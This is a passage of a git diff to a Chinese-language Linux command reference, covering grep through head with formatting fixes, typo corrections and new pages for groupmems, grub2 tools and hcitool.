line,全面搜索正则表达式并把行打印出来)是一种强大的文本搜索工具,它能使用正则表达式搜索文本,并把匹配的行打印出来。用于过滤/搜索的特定字符。可使用正则表达式能配合多种命令使用,使用上十分灵活。 -### 选项 +### 选项 -```bash +```shell -a --text # 不要忽略二进制数据。 -A <显示行数> --after-context=<显示行数> # 除了显示符合范本样式的那一行之外,并显示该行之后的内容。 -b --byte-offset # 在显示符合范本样式的那一行之外,并显示该行之前的内容。 @@ -28,6 +28,7 @@ grep -l --file-with-matches # 列出文件内容符合指定的范本样式的文件名称。 -L --files-without-match # 列出文件内容不符合指定的范本样式的文件名称。 -n --line-number # 在显示符合范本样式的那一列之前,标示出该列的编号。 +-P --perl-regexp # PATTERN 是一个 Perl 正则表达式 -q --quiet或--silent # 不显示任何信息。 -R/-r --recursive # 此参数的效果和指定“-d recurse”参数相同。 -s --no-messages # 不显示错误信息。 @@ -37,18 +38,19 @@ grep -x --line-regexp # 只显示全列符合的列。 -y # 此参数效果跟“-i”相同。 -o # 只输出文件中匹配到的部分。 +-m --max-count= # 找到num行结果后停止查找,用来限制匹配行数 ``` ### 规则表达式 -```bash +```shell ^ # 锚定行的开始 如:'^grep'匹配所有以grep开头的行。 -$ # 锚定行的结束 如:'grep$'匹配所有以grep结尾的行。 +$ # 锚定行的结束 如:'grep$' 匹配所有以grep结尾的行。 . # 匹配一个非换行符的字符 如:'gr.p'匹配gr后接一个任意字符,然后是p。 * # 匹配零个或多个先前字符 如:'*grep'匹配所有一个或多个空格后紧跟grep的行。 .* # 一起用代表任意字符。 [] # 匹配一个指定范围内的字符,如'[Gg]rep'匹配Grep和grep。 -[^] # 匹配一个不在指定范围内的字符,如:'[^A-FH-Z]rep'匹配不包含A-R和T-Z的一个字母开头,紧跟rep的行。 +[^] # 匹配一个不在指定范围内的字符,如:'[^A-Z]rep' 匹配不包含 A-Z 中的字母开头,紧跟 rep 的行 \(..\) # 标记匹配字符,如'\(love\)',love被标记为1。 \< # 锚定单词的开始,如:'\ # 锚定单词的结束,如'grep\>'匹配包含以grep结尾的单词的行。 @@ -64,112 +66,112 @@ x\{m,n\} # 重复字符x,至少m次,不多于n次,如:'o\{5,10\}'匹配 在文件中搜索一个单词,命令会返回一个包含 **“match_pattern”** 的文本行: -``` +```shell grep match_pattern file_name grep "match_pattern" file_name - ``` 在多个文件中查找: -``` +```shell grep "match_pattern" file_1 file_2 file_3 ... - ``` 输出除之外的所有行 **-v** 选项: -``` +```shell grep -v "match_pattern" file_name - ``` 标记匹配颜色 **--color=auto** 选项: -``` +```shell grep "match_pattern" file_name --color=auto - ``` 使用正则表达式 **-E** 选项: -``` +```shell grep -E "[1-9]+" -或 +# 或 egrep "[1-9]+" +``` +使用正则表达式 **-P** 选项: +```shell +grep -P "(\d{3}\-){2}\d{4}" file_name ``` + 只输出文件中匹配到的部分 **-o** 选项: -``` +```shell echo this is a test line. | grep -o -E "[a-z]+\." line. echo this is a test line. | egrep -o "[a-z]+\." line. - ``` 统计文件或者文本中包含匹配字符串的行数 **-c** 选项: -``` +```shell grep -c "text" file_name +``` +搜索命令行历史记录中 输入过 `git` 命令的记录: + +```shell +history | grep git ``` 输出包含匹配字符串的行数 **-n** 选项: -``` +```shell grep "text" -n file_name -或 +# 或 cat file_name | grep "text" -n #多个文件 grep "text" -n file_1 file_2 - ``` 打印样式匹配所位于的字符或字节偏移: -``` +```shell echo gun is not unix | grep -b -o "not" 7:not - -#一行中字符串的字符便宜是从该行的第一个字符开始计算,起始值为0。选项 **-b -o** 一般总是配合使用。 - +#一行中字符串的字符偏移是从该行的第一个字符开始计算,起始值为0。选项 **-b -o** 一般总是配合使用。 ``` 搜索多个文件并查找匹配文本在哪些文件中: -``` +```shell grep -l "text" file1 file2 file3... - ``` -### grep递归搜索文件 +### grep递归搜索文件 在多级目录中对文本进行递归搜索: -``` +```shell grep "text" . -r -n # .表示当前目录。 - ``` 忽略匹配样式中的字符大小写: -``` +```shell echo "hello world" | grep -i "HELLO" -hello - +# hello ``` 选项 **-e** 制动多个匹配样式: -``` +```shell echo this is a text line | grep -e "is" -e "line" -o is +is line #也可以使用 **-f** 选项来匹配多个样式,在样式文件中逐行写出需要匹配的字符。 @@ -178,26 +180,25 @@ aaa bbb echo aaa bbb ccc ddd eee | grep -f patfile -o - ``` 在grep搜索结果中包括或者排除指定文件: -``` -#只在目录中所有的.php和.html文件中递归搜索字符"main()" +```shell +# 只在目录中所有的.php和.html文件中递归搜索字符"main()" grep "main()" . -r --include *.{php,html} -#在搜索结果中排除所有README文件 +# 在搜索结果中排除所有README文件 grep "main()" . -r --exclude "README" -#在搜索结果中排除filelist文件列表里的文件 +# 在搜索结果中排除filelist文件列表里的文件 grep "main()" . -r --exclude-from filelist ``` 使用0值字节后缀的grep与xargs: -```bash +```shell # 测试文件: echo "aaa" > file1 echo "bbb" > file2 @@ -205,20 +206,19 @@ echo "aaa" > file3 grep "aaa" file* -lZ | xargs -0 rm -#执行后会删除file1和file3,grep输出用-Z选项来指定以0值字节作为终结符文件名(\0),xargs -0 读取输入并用0值字节终结符分隔文件名,然后删除匹配文件,-Z通常和-l结合使用。 - +# 执行后会删除file1和file3,grep输出用-Z选项来指定以0值字节作为终结符文件名(\0),xargs -0 读取输入并用0值字节终结符分隔文件名,然后删除匹配文件,-Z通常和-l结合使用。 ``` grep静默输出: -```bash +```shell grep -q "test" filename # 不会输出任何信息,如果命令运行成功返回0,失败则返回非0值。一般用于条件测试。 ``` 打印出匹配文本之前或者之后的行: -```bash +```shell # 显示匹配某个结果之后的3行,使用 -A 选项: seq 10 | grep "5" -A 3 5 @@ -253,4 +253,4 @@ b ``` - + diff --git a/command/groupadd.md b/command/groupadd.md index 0641b7e7275..9cc1bce1bbe 100644 --- a/command/groupadd.md +++ b/command/groupadd.md @@ -1,40 +1,39 @@ groupadd === - + 用于创建一个新的工作组 ## 补充说明 **groupadd命令** 用于创建一个新的工作组,新工作组的信息将被添加到系统文件中。 -### 语法 +### 语法 -``` +```shell groupadd(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -g:指定新建工作组的id; -r:创建系统工作组,系统工作组的组ID小于500; --K:覆盖配置文件“/ect/login.defs”; +-K:覆盖配置文件“/etc/login.defs”; -o:允许添加组ID号不唯一的工作组。 ``` -### 参数 +### 参数 组名:指定新建工作组的组名。 -### 实例 +### 实例 建立一个新组,并设置组ID加入系统: -``` +```shell groupadd -g 344 jsdigname ``` 此时在`/etc/passwd`文件中产生一个组ID(GID)是344的项目。 - \ No newline at end of file diff --git a/command/groupdel.md b/command/groupdel.md index 081c1b14917..1c58b8fad7f 100644 --- a/command/groupdel.md +++ b/command/groupdel.md @@ -1,28 +1,27 @@ groupdel === - + 用于删除指定的工作组 ## 补充说明 **groupdel命令** 用于删除指定的工作组,本命令要修改的系统文件包括/ect/group和/ect/gshadow。若该群组中仍包括某些用户,则必须先删除这些用户后,方能删除群组。 -### 语法 +### 语法 -``` +```shell groupdel(参数) ``` -### 参数 +### 参数 组:要删除的工作组名。 -### 实例 +### 实例 -``` +```shell groupadd damon //创建damon工作组 groupdel damon //删除这个工作组 ``` - \ No newline at end of file diff --git a/command/groupmems.md b/command/groupmems.md new file mode 100644 index 00000000000..16acdb99820 --- /dev/null +++ b/command/groupmems.md @@ -0,0 +1,111 @@ +groupmems +=== + +管理用户主要组的成员 + +## 补充说明 + +`groupmems` 命令允许用户管理他/她自己的组成员列表,而不需要超级用户权限。`groupmems` 实用程序适用于将其用户配置为以他们自己的名义主组(即来宾/来宾)的系统。 + +只有作为管理员的超级用户可以使用 `groupmems` 来更改其他组的成员资格。 + +### 语法 + +```shell +groupmems -a user_name | -d 用户名 | [-g 用户组名] | -l | -p +``` + +### 选项 + +```bash +-a, --add user_name # 将用户添加到组成员列表。如果 /etc/gshadow 文件存在,并且该组在 /etc/gshadow 文件中没有条目,则将创建一个新条目。 + +-d, --delete user_name +# 从组成员列表中删除用户。 +# 如果 /etc/gshadow 文件存在,用户将从组的成员和管理员列表中删除。 +# 如果 /etc/gshadow 文件存在,并且该组在 /etc/gshadow 文件中没有条目,则将创建一个新条目。 + +-g, --group group_name # 超级用户可以指定要修改的组成员列表。 +-l, --list # 列出组成员列表。 +-p, --purge # 从组成员列表中清除所有用户。 +# 如果 /etc/gshadow 文件存在,并且该组在 /etc/gshadow 文件中没有条目,则将创建一个新条目。 +``` + +## 配置 + +`/etc/login.defs` 中的以下配置变量会更改此工具的行为: + +```shell +MAX_MEMBERS_PER_GROUP (number) +``` + +每个组条目的最大成员数。 当达到最大值时,在 `/etc/group` 中启动一个新的组条目(行)(具有相同的名称、相同的密码和相同的 GID)。 + +默认值为 0,表示组中的成员数量没有限制。 + +此功能(拆分组)允许限制组文件中的行长度。 这有助于确保 NIS 组的行不超过 1024 个字符。 + +如果你需要强制执行这样的限制,你可以使用 25。 + +注意:并非所有工具都支持拆分组(即使在 Shadow 工具包中)。 除非你真的需要它,否则你不应该使用这个变量。 + +## 例子 + +groupmems 可执行文件应该在模式 2770 中作为用户 root 和组组。 系统管理员可以将用户添加到组中,以允许或禁止他们使用 groupmems 实用程序来管理他们自己的组成员列表。 + +```shell +groupadd -r groups +chmod 2770 groupmems + +chown root.groups groupmems +groupmems -g groups -a gk4 +``` + +让我们创建一个新用户和一个新组并验证结果: + +```shell +useradd student +passwd student +groupadd staff +``` + +使用户 student 成为组人员的成员: + +```shell +groupmems -g staff -a student +groupmems -g staff -l +``` + +将用户添加到组: + +```shell +groupmems -a mike -g SUPPORT +groupmems --add mike -g SUPPORT +``` + +从组中删除/移除用户: + +```shell +groupmems -d mike SUPPORT -g SUPPORT +groupmems --delete mike SUPPORT -g SUPPORT +``` + +更改组名称: + +```shell +groupmems -g SUPPORT +``` + +从组中删除用户: + +```shell +groupmems -p -g SUPPORT +groupmems --purge -g SUPPORT +``` + +要列出组的成员: + +```shell +groupmems -l -g SUPPORT +groupmems --list -g SUPPORT +``` diff --git a/command/groupmod.md b/command/groupmod.md index 68141abaf10..2c30da4397d 100644 --- a/command/groupmod.md +++ b/command/groupmod.md @@ -1,29 +1,28 @@ groupmod === - + 更改群组识别码或名称 ## 补充说明 **groupmod命令** 更改群组识别码或名称。需要更改群组的识别码或名称时,可用groupmod指令来完成这项工作。 -### 语法 +### 语法 -``` +```shell groupmod(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -g<群组识别码>:设置欲使用的群组识别码; -o:重复使用群组识别码; -n<新群组名称>:设置欲使用的群组名称。 ``` -### 参数 +### 参数 组名:指定要修改的工作的组名。 - \ No newline at end of file diff --git a/command/groups.md b/command/groups.md index fdb65fd8810..19e533dba0d 100644 --- a/command/groups.md +++ b/command/groups.md @@ -1,37 +1,46 @@ groups === - -用来打印指定用户所属的工作组 -## 补充说明 +打印指定用户所在组的名称。 -**groups命令** 在标准输入输出上输出指定用户所在组的组成员,每个用户属于`/etc/passwd`中指定的一个组和在`/etc/group`中指定的其他组。 +## 概要 -### 语法 - -``` -groups(选项)(参数) +```shell +groups [OPTION]... [username]... ``` -### 选项 +## 主要用途 -``` --help:显示命令的帮助信息; ---version:显示命令的版本信息。 +- 打印指定用户所在组的名称。 + +## 选项 + +```shell +--help 显示帮助信息并退出。 +--version 显示版本信息并退出。 ``` -### 参数 +## 参数 -用户名:指定要打印所属工作组的用户名。 +username(可选):可以是一到多个,不提供时默认为当前用户。 -### 实例 +## 返回值 + +返回0表示成功,返回非0值表示失败。 + +## 例子 显示linux用户所属的组 -``` -groups linux +```shell +[root@localhost ~]# groups linux linux : linux adm dialout cdrom plugdev lpadmin admin sambashare ``` +### 注意 + +1. 该命令等价于 `id -Gn`。 +2. 每个用户属于`/etc/passwd`中指定的一个组和在`/etc/group`中指定的其他组。 +3. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man -s 1 groups`,`info coreutils 'groups invocation'`。 + - \ No newline at end of file diff --git a/command/grpck.md b/command/grpck.md index 2d0a6fea1b6..e8dc8aa152b 100644 --- a/command/grpck.md +++ b/command/grpck.md @@ -1,6 +1,6 @@ grpck === - + 用于验证组文件的完整性 ## 补充说明 @@ -9,42 +9,41 @@ grpck grpck命令检查数据是否正确存放,每条记录是否都包含足够的信息,是否有一个唯一的组名,是否包含正确的用户,是否正确设置了组的管理员等。grpck检查发现错误以后,在命令行提示用户是否删除错误的记录。如果用户没有明确回答删除记录,grpck终止运行。 -### 语法 +### 语法 -``` +```shell grpck(选项) ``` -### 选项 +### 选项 -``` +```shell -r:只读模式; -s:排序组id。 ``` -### 实例 +### 实例 对组账号和影子文件进行验证: -``` -grpck //必须以管理员身份运行 -grpck /etc/group /etc/gshadow //后面两句一样,如果没有输出信息,则表示没有错误。 +```shell +grpck # 必须以管理员身份运行 +grpck /etc/group /etc/gshadow # 后面两句一样,如果没有输出信息,则表示没有错误。 ``` 测试错误的实例: -``` -**echo check_user:x: >> /etc/group //添加一行错误的格式数据 +```shell +**echo check_user:x: >> /etc/group # 添加一行错误的格式数据 cat /etc/group | grep check_user** -check_user:x: //这儿GID字段为空,是错误的。 +check_user:x: # 这儿GID字段为空,是错误的。 **grpck /etc/group** invalid group file entry -delete line 'check_user:x:'? y //提示是否删除 -grpck: the files have been updated //这时已经删除了错误的行,提示文件已经更新。 +delete line 'check_user:x:'? y # 提示是否删除 +grpck: the files have been updated # 这时已经删除了错误的行,提示文件已经更新。 - **cat /etc/group | grep check_user //没有查到,已经删除了。** + **cat /etc/group | grep check_user # 没有查到,已经删除了。** ``` - \ No newline at end of file diff --git a/command/grpconv.md b/command/grpconv.md index 4a44f60157a..6468cf9462c 100644 --- a/command/grpconv.md +++ b/command/grpconv.md @@ -1,40 +1,39 @@ grpconv === - + 用来开启群组的投影密码 ## 补充说明 **grpconv命令** 用来开启群组的投影密码。Linux系统里的用户和群组密码,分别存放在`/etc`目录下的passwd和group文件中。因系统运作所需,任何人都得以读取它们,造成安全上的破绽。投影密码将文件内的密码改存在`/etc`目录下的shadow和gshadow文件内,只允许系统管理者读取,同时把原密码置换为"x"字符。投影密码的功能可随时开启或关闭,您只需执行grpconv指令就能开启群组投影密码。 -### 语法 +### 语法 -``` +```shell grpconv ``` -### 实例 +### 实例 设置cdy组密码 -``` +```shell groupmod --password 123456 cdy cat /etc/group | grep cdy -cdy:123456:1000: //看出密码是123456 +cdy:123456:1000: # 看出密码是123456 ``` 启动影子系统 -``` +```shell grpconv cat /etc/group | grep cdy -cdy:x:1000: //看出密码段已经被x替代 +cdy:x:1000: # 看出密码段已经被x替代 cat /etc/gshadow | grep cdy -cdy:123456:: //已经移到影子文件了 +cdy:123456:: # 已经移到影子文件了 ``` 注:gshadow, shadow只有root权限才可以查看。 - \ No newline at end of file diff --git a/command/grpunconv.md b/command/grpunconv.md index 194277c9561..b623ab61361 100644 --- a/command/grpunconv.md +++ b/command/grpunconv.md @@ -1,40 +1,39 @@ grpunconv === - + 用来关闭群组的投影密码 ## 补充说明 **grpunconv命令** 用来关闭群组的投影密码。它会把密码从gshadow文件内,回存到group文件里。 -### 语法 +### 语法 -``` +```shell grpunconv ``` -### 实例 +### 实例 未关闭的情况 -``` +```shell cat /etc/gshadow | grep cdy cdy:123456:: ``` 关闭影子密码 -``` +```shell cat /etc/gshadow cat: /etc/gshadow: 没有那个文件或目录 ``` 查看密码已经复制到`/etc/group`中了。 -``` +```shell cat /etc/group | grep cdy cdy:123456:1000: ``` - \ No newline at end of file diff --git a/command/grub.md b/command/grub.md index aa4c278497a..9de9c456598 100644 --- a/command/grub.md +++ b/command/grub.md @@ -1,21 +1,21 @@ grub === - + 多重引导程序grub的命令行shell工具 ## 补充说明 **grub命令** 是多重引导程序grub的命令行shell工具。 -### 语法 +### 语法 -``` +```shell grub(选项) ``` -### 选项 +### 选项 -``` +```shell --batch:打开批处理模式; --boot-drive=<驱动器>:指定stage2的引导驱动器; --config-file<配置文件>:指定stage2的配置文件; @@ -29,7 +29,7 @@ grub(选项) --read-only:只读模式。 ``` -### 实例 +### 实例 利用grub命令来启动损坏的Linux系统,可能你的电脑因为某些原因损坏不能自动启动了。当然原因很多,可能的现象也很多。 @@ -57,7 +57,7 @@ grub(选项) 依次输入命令: -``` +```shell root (hd0,1) /* 假设 /dev/hda2 是你的 /boot 所在的分区 */ kernel /boot/vmlinuz-2.6.15-26-386 ro dev=/dev/hda3 /* 假设 /dev/hda3 是你的 / 所在的分区 */ initrd /boot/initrd.img-2.6.15-26-386 @@ -69,4 +69,6 @@ boot 这里的关键问题是如何确定系统的几个分区:`/boot` `/` `/sbin` - \ No newline at end of file +### 参考资料 + +- 自由软件基金会 - grub 文档 diff --git a/command/grub2-mkconfig.md b/command/grub2-mkconfig.md new file mode 100644 index 00000000000..80c9dd3c2f9 --- /dev/null +++ b/command/grub2-mkconfig.md @@ -0,0 +1,30 @@ +grub2-mkconfig +=== + +生成 grub.cfg 配置文件。 + +## 语法 + +```shell +用法: grub2-mkconfig [OPTION] +生成 grub 配置文件 + + -o, --output=FILE 将生成的配置输出到 FILE 文件 [default=stdout] + -h, --help 打印这个文件并退出 + -v, --version 打印版本信息并退出 + +报告 Bug 通过 . + +``` + +## 实例 + +生成新的grub配置文件 + +```shell +grub2-mkconfig -o /boot/grub2/grub.cfg + +# 或者 + +grub2-mkconfig > /boot/grub2/grub.cfg +``` diff --git a/command/grub2-set-default.md b/command/grub2-set-default.md new file mode 100644 index 00000000000..8cbd5697cb9 --- /dev/null +++ b/command/grub2-set-default.md @@ -0,0 +1,45 @@ +grub2-set-default +=== + +设置系统默认的启动内核 + +## 语法 + +```shell +Usage: grub2-set-default [OPTION] MENU_ENTRY +Set the default boot menu entry for GRUB. +This requires setting GRUB_DEFAULT=saved in /etc/default/grub. + + -h, --help print this message and exit + -v, --version print the version information and exit + --boot-directory=DIR expect GRUB images under the directory DIR/grub2 + instead of the /boot/grub2 directory + +MENU_ENTRY is a number, a menu item title or a menu item identifier. + +Report bugs to . + +``` + +## 实例 + +查看可选的系统内核: +```shell +# awk -F\' '$1=="menuentry " {print $2}' /etc/grub2.cfg +CentOS Linux (5.4.219-1.el7.elrepo.x86_64) 7 (Core) +CentOS Linux (3.10.0-1160.76.1.el7.x86_64) 7 (Core) +CentOS Linux (3.10.0-862.el7.x86_64) 7 (Core) +CentOS Linux (0-rescue-3221d376917c458992a952d6327f2d6a) 7 (Core) +``` + +grub2-set-default后面的序号从0开始。所以,如果想设置第一个选项为默认启动内核,则可以使用下面的命令: + +```shell +# grub2-set-default 0 +``` +如果想使用CentOS Linux (3.10.0-862.el7.x86_64) 7 (Core)内核版本,则可以将0改为2 + +重启系统 +```shell +~]# init 6 +``` \ No newline at end of file diff --git a/command/gunzip.md b/command/gunzip.md index babd22fafed..4efa2da8fa4 100644 --- a/command/gunzip.md +++ b/command/gunzip.md @@ -1,21 +1,21 @@ gunzip === - + 用来解压缩文件 ## 补充说明 **gunzip命令** 用来解压缩文件。gunzip是个使用广泛的解压缩程序,它用于解开被gzip压缩过的文件,这些压缩文件预设最后的扩展名为.gz。事实上gunzip就是gzip的硬连接,因此不论是压缩或解压缩,都可通过gzip指令单独完成。 -### 语法 +### 语法 -``` +```shell gunzip(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -a或——ascii:使用ASCII文字模式; -c或--stdout或--to-stdout:把解压后的文件输出到标准输出设备; -f或-force:强行解开压缩文件,不理会文件名称或硬连接是否存在以及该文件是否为符号连接; @@ -32,22 +32,22 @@ gunzip(选项)(参数) -V或——version:显示版本信息; ``` -### 参数 +### 参数 文件列表:指定要解压缩的压缩包。 -### 实例 +### 实例 首先将`/etc`目录下的所有文件以及子目录进行压缩,备份压缩包etc.zip到`/opt`目录,然后对etc.zip文件进行gzip压缩,设置gzip的压缩级别为9。 -``` +```shell zip –r /opt/etc.zip /etc gzip -9v /opt/etc.zip ``` 查看上述etc.zip.gz文件的压缩信息。 -``` +```shell gzip -l /opt/etc.zip.gz compressed uncompressed ratio uncompressed_name 11938745 12767265 6.5% /opt/etc.zip @@ -55,7 +55,7 @@ compressed uncompressed ratio uncompressed_name 解压上述etc.zip.gz文件到当前目录。 -``` +```shell [root@mylinux ~]#gzip –d /opt/etc.zip.gz 或者执行 [root@mylinux ~]#gunzip /opt/etc.zip.gz @@ -64,4 +64,3 @@ compressed uncompressed ratio uncompressed_name 通过上面的示例可以知道`gzip –d`等价于`gunzip`命令。 - \ No newline at end of file diff --git a/command/gzexe.md b/command/gzexe.md index 3c1b4614e56..dcb26bc2b1e 100644 --- a/command/gzexe.md +++ b/command/gzexe.md @@ -1,27 +1,26 @@ gzexe === - + 用来压缩可执行文件 ## 补充说明 **gzexe命令** 用来压缩可执行文件,压缩后的文件仍然为可执行文件,在执行时进行自动解压缩。当您去执行被压缩过的执行文件时,该文件会自动解压然后继续执行,和使用一般的执行文件相同。这个命令也可以看成是gunzip命令的一个扩展。 -### 语法 +### 语法 -``` +```shell gzexe(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -d:解压缩被gzexe压缩过的可执行文件。 ``` -### 参数 +### 参数 文件:指定需要压缩的可执行文件。 - \ No newline at end of file diff --git a/command/gzip.md b/command/gzip.md index b9b96b0ad89..4c946b80fe5 100644 --- a/command/gzip.md +++ b/command/gzip.md @@ -11,13 +11,13 @@ gzip是在Linux系统中经常使用的一个对文件进行压缩和解压缩 ### 语法 -``` +```shell gzip(选项)(参数) ``` ### 选项 -``` +```shell -a或——ascii:使用ASCII文字模式; -d或--decompress或----uncompress:解开压缩文件; -f或——force:强行压缩文件。不理会文件名称或硬连接是否存在以及该文件是否为符号连接; @@ -36,6 +36,7 @@ gzip(选项)(参数) --best:此参数的效果和指定“-9”参数相同; --fast:此参数的效果和指定“-1”参数相同。 -num 用指定的数字num调整压缩的速度,-1或--fast表示最快压缩方法(低压缩比),-9或--best表示最慢压缩方法(高压缩比)。系统缺省值为6。 +-c或--stdout或--to-stdout:保留原始文件,生成标准输出流(结合重定向使用)。 ``` ### 参数 @@ -46,31 +47,31 @@ gzip(选项)(参数) 把test6目录下的每个文件压缩成.gz文件 -``` +```shell gzip * ``` 把上例中每个压缩的文件解压,并列出详细的信息 -``` +```shell gzip -dv * ``` 详细显示例1中每个压缩的文件的信息,并不解压 -``` +```shell gzip -l * ``` 压缩一个tar备份文件,此时压缩文件的扩展名为.tar.gz -``` +```shell gzip -r log.tar ``` 递归的压缩目录 -``` +```shell gzip -rv test6 ``` @@ -78,9 +79,16 @@ gzip -rv test6 递归地解压目录 -``` +```shell gzip -dr test6 ``` +保留原始文件,把压缩/解压流重定向到新文件 + +```shell +gzip -c aa > aa.gz +gzip -dc bb.gz > bb +``` + + - diff --git a/command/halt.md b/command/halt.md index 0ee783a21c0..8f71e43e4df 100644 --- a/command/halt.md +++ b/command/halt.md @@ -1,21 +1,21 @@ halt === - + 关闭正在运行的Linux操作系统 ## 补充说明 **halt命令** 用来关闭正在运行的Linux操作系统。halt命令会先检测系统的runlevel,若runlevel为0或6,则关闭系统,否则即调用shutdown来关闭系统。 -### 语法 +### 语法 -``` +```shell halt(选项) ``` -### 选项 +### 选项 -``` +```shell -d:不要在wtmp中记录; -f:不论目前的runlevel为何,不调用shutdown即强制关闭系统; -i:在halt之前,关闭全部的网络界面; @@ -24,12 +24,11 @@ halt(选项) -w:仅在wtmp中记录,而不实际结束系统。 ``` -### 实例 +### 实例 -``` -halt -p //关闭系统后关闭电源。 -halt -d //关闭系统,但不留下纪录。 +```shell +halt -p # 关闭系统后关闭电源。 +halt -d # 关闭系统,但不留下纪录。 ``` - \ No newline at end of file diff --git a/command/hcitool.md b/command/hcitool.md new file mode 100644 index 00000000000..1e21b9ebce3 --- /dev/null +++ b/command/hcitool.md @@ -0,0 +1,77 @@ +hcitool +=== + +hcitool是一个Linux命令行工具,用于管理和调试蓝牙设备。它可以用于扫描周围的蓝牙设备、连接到蓝牙设备发送命令和数据包等。 + +## 安装 + +hcitool是一个Linux命令行工具,通常已经预装在大多数Linux行版中。如果您的系统中没有安装hcitool,可以使用以下命令进行安装(debian系列发行示例) + +```bash +sudo apt-get install bluez +``` + +## 使用 +注意事项: +1. 使用ble相关命令需要提权如:lescan + + +### 语法 + +`hcitool [options] [command parameters]` + +### 命令 + +```bash + dev 显示本地设备 + inq 查询远程设备 + scan 扫描远程设备 + name 从远程设备获取名称 + info 从远程设备获取信息 + spinq 启动定期查询 + epinq 退出定期查询 + cmd 提交任意HCI命令 + con 显示活动连接 + cc 创建到远程设备的连接 + dc 断开与远程设备的连接 + sr 交换机中心/外围角色 + cpt 更改连接数据包类型 + rssi 显示连接rssi + lq 显示链路质量 + tpl 显示发射功率电平 + afh 显示afh通道图 + lp 设置/显示链接策略设置 + lst 设置/显示链接监控超时 + auth 请求身份验证 + enc 设置连接加密 + key 更改连接链接键 + clkoff 读取时钟偏移 + clock 读取本地或远程时钟 + lescan 启动LE扫描 + leinfo 获取LE远程信息 + lealadd 将设备添加到LE接受列表 + lealrm 从LE接受列表中删除设备 + lealsz LE接受列表的读取大小 + lealclr 清除LE接受列表 + +``` +### 常用简单示例 +1.扫描周围的蓝牙设备 + +`hcitool scan` + +2.通过mac地址连接到蓝牙设备 + +`hcitool cc ` + +3.显示当前蓝牙适配器信息 + +`hcitool dev` + +4.通过mac地址找到蓝牙名称 + +`hcitool name ` + +5.显示当前蓝牙活动连接信息 + +`hcitool con` diff --git a/command/hdparm.md b/command/hdparm.md index 36eda9e75c4..4b7ea235c9d 100644 --- a/command/hdparm.md +++ b/command/hdparm.md @@ -1,27 +1,27 @@ hdparm === - + 显示与设定硬盘的参数 ## 补充说明 **hdparm命令** 提供了一个命令行的接口用于读取和设置IDE或SCSI硬盘参数。 -### 语法 +### 语法 -``` +```shell hdparm(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -a<快取分区>:设定读取文件时,预先存入块区的分区数,若不加上<快取分区>选项,则显示目前的设定; -A<0或1>:启动或关闭读取文件时的快取功能; -c:设定IDE32位I/O模式; -C:检测IDE硬盘的电源管理模式; -d<0或1>:设定磁盘的DMA模式; --f:将内存缓冲区的数据写入硬盘,并清楚缓冲区; +-f:将内存缓冲区的数据写入硬盘,并清除缓冲区; -g:显示硬盘的磁轨,磁头,磁区等参数; -h:显示帮助; -i:显示硬盘的硬件规格信息,这些信息是在开机时由硬盘本身所提供; @@ -46,15 +46,15 @@ hdparm(选项)(参数) -Z:关闭某些Seagate硬盘的自动省电功能。 ``` -### 参数 +### 参数 设备文件:指定id驱动对应的设备文件名。 -### 实例 +### 实例 显示硬盘的相关设置: -``` +```shell hdparm /dev/sda /dev/sda: IO_support = 0 (default 16-bit) @@ -62,11 +62,11 @@ readonly = 0 (off) readahead = 256 (on) geometry = 19457[柱面数]/255[磁头数]/63[扇区数], sectors = 312581808[总扇区数], start = 0[起始扇区数] -``` +```shell 显示硬盘的柱面、磁头、扇区数: -``` +```shell hdparm -g /dev/sda /dev/sda: geometry = 19457[柱面数]/255[磁头数]/63[扇区数], sectors = 312581808[总扇区数], start = 0[起始扇区数] @@ -74,7 +74,7 @@ geometry = 19457[柱面数]/255[磁头数]/63[扇区数], sectors = 测试硬盘的读取速度: -``` +```shell hdparm -T /dev/sda /dev/sda: Timing cached reads: 4684 MB in 2.00 seconds = 2342.92 MB/sec @@ -82,16 +82,15 @@ hdparm -T /dev/sda 测试硬盘缓存的读取速度: -``` +```shell hdparm -T /dev/xvda /dev/xvda: Timing cached reads: 11154 MB in 1.98 seconds = 5633.44 MB/sec - ``` 检测硬盘的电源管理模式: -``` +```shell hdparm -C /dev/sda /dev/sda: drive state is: standby [省电模式] @@ -99,18 +98,17 @@ drive state is: standby [省电模式] 查询并设置硬盘多重扇区存取的扇区数,以增进硬盘的存取效率: -``` +```shell hdparm -m /dev/sda hdparm -m #参数值为整数值如8 /dev/sda ``` **附:硬盘坏道修复方法** -``` +```shell 检查:smartctl -l selftest /dev/sda 卸载:umount /dev/sda* 修复:badblocks /dev/sda ``` - \ No newline at end of file diff --git a/command/head.md b/command/head.md index 053a4214a97..f643353e2b1 100644 --- a/command/head.md +++ b/command/head.md @@ -1,30 +1,99 @@ head === - -在屏幕上显示指定文件的开头若干行 -## 补充说明 +显示文件的开头部分。 -**head命令** 用于显示文件的开头的内容。在默认情况下,head命令显示文件的头10行内容。 - -### 语法 +## 概要 +```shell +head [OPTION]... [FILE]... ``` -head(选项)(参数) + +## 主要用途 + +- 在未指定行数时默认显示前10行。 +- 处理多个文件时会在各个文件之前附加含有文件名的行。 +- 当没有文件或文件为`-`时,读取标准输入。 + +## 选项 + +```shell +-c, --bytes=[-]NUM 显示前NUM字节;如果NUM前有"-",那么会打印除了文件末尾的NUM字节以外的其他内容。 +-n, --lines=[-]NUM 显示前NUM行而不是默认的10行;如果NUM前有"-",那么会打印除了文件末尾的NUM行以外的其他行。 +-q, --quiet, --silent 不打印文件名行。 +-v, --verbose 总是打印文件名行。 +-z, --zero-terminated 行终止符为NUL而不是换行符。 +--help 显示帮助信息并退出。 +--version 显示版本信息并退出。 + +NUM可以有一个乘数后缀: +b 512 +kB 1000 +k 1024 +MB 1000*1000 +M 1024*1024 +GB 1000*1000*1000 +G 1024*1024*1024 +T、P、E、Z、Y等以此类推。 + +也可以使用二进制前缀: +KiB=K +MiB=M +以此类推。 ``` -### 选项 +## 参数 + +FILE(可选):要处理的文件,可以为一或多个。 + +## 返回值 +返回0表示成功,返回非0值表示失败。 + +## 例子 + +```shell +# 查看历史文件的前6行: +[user2@pc ~]$ head -n 6 ~/.bash_history +#1575425555 +cd ~ +#1575425558 +ls -lh +#1575425562 +vi ~/Desktop/ZhuangZhu-74.txt ``` --n<数字>:指定显示头部内容的行数; --c<字符数>:指定显示头部内容的字符数; --v:总是显示文件名的头信息; 